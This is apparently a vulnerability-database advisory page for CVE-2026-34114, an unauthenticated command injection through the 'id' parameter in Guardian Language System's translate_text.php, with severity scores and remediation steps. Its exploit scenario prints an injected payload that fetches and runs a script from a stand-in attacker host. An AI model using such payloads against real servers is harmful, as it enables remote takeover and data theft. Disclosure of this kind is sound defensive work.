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Guardian Language System CVE-2026-34114

| EUVDEUVD-2026-41073 CRITICAL
OS Command Injection (CWE-78)
2026-07-01 disclosure@vulncheck.com GHSA-9244-c487-2pc4
Command Injection PHP
9.3
CVSS 4.0 · Vendor: vulncheck
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Severity by source

Vendor (vulncheck) PRIMARY
9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.8 CRITICAL

Unauthenticated HTTP GET parameter injected into exec() gives network, low-complexity, no-privilege OS command execution with full C/I/A impact on the same host, so S:U.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

1
Analysis Generated
Jul 01, 2026 - 17:33 vuln.today

DescriptionCVE.org

Guardian language-system passes the id GET parameter directly into a PHP exec() call in translate_text.php (line 18) without sanitization: exec(\"php jobs/translate_text.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.

AnalysisAI

OS command injection in Guardian Language System's translate_text.php allows unauthenticated remote attackers to execute arbitrary operating-system commands by injecting shell metacharacters into the 'id' GET parameter, which is concatenated directly into a PHP exec() call. Because no authentication is required and the CVSS 4.0 vector is AV:N/AC:L/PR:N/UI:N, exploitation is trivial and yields full command execution in the web server's context. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Locate exposed translate_text.php
Delivery
Send GET request with metacharacters in id
Exploit
Shell interprets injected command
Execution
Execute OS commands as web user
Impact
Install webshell or exfiltrate data
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Vulnerability AssessmentAI

Exploitation Exploitation requires only that the Guardian Language System translate_text.php endpoint be network-reachable by the attacker; the vulnerable code path is triggered by supplying shell metacharacters in the 'id' GET parameter, which is passed unsanitized to PHP's exec(). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All available signals point to genuine high priority. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker discovers an internet-facing Guardian Language System and sends a single crafted HTTP GET request such as translate_text.php?id=1;curl+http://attacker/x|sh, causing the shell metacharacters in 'id' to be executed by the server. Because no authentication or user interaction is needed and complexity is low, the attacker gains command execution as the web server user on the first request and can pivot to install a webshell or exfiltrate data. …
Remediation No vendor-released patch or fixed version was identified in the provided data, so a specific upgrade target cannot be cited. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

24 hours: Conduct inventory of Guardian Language System deployments; isolate or disable translate_text.php endpoint; restrict network access to trusted sources only. …

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Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-34114 vulnerability details – vuln.today
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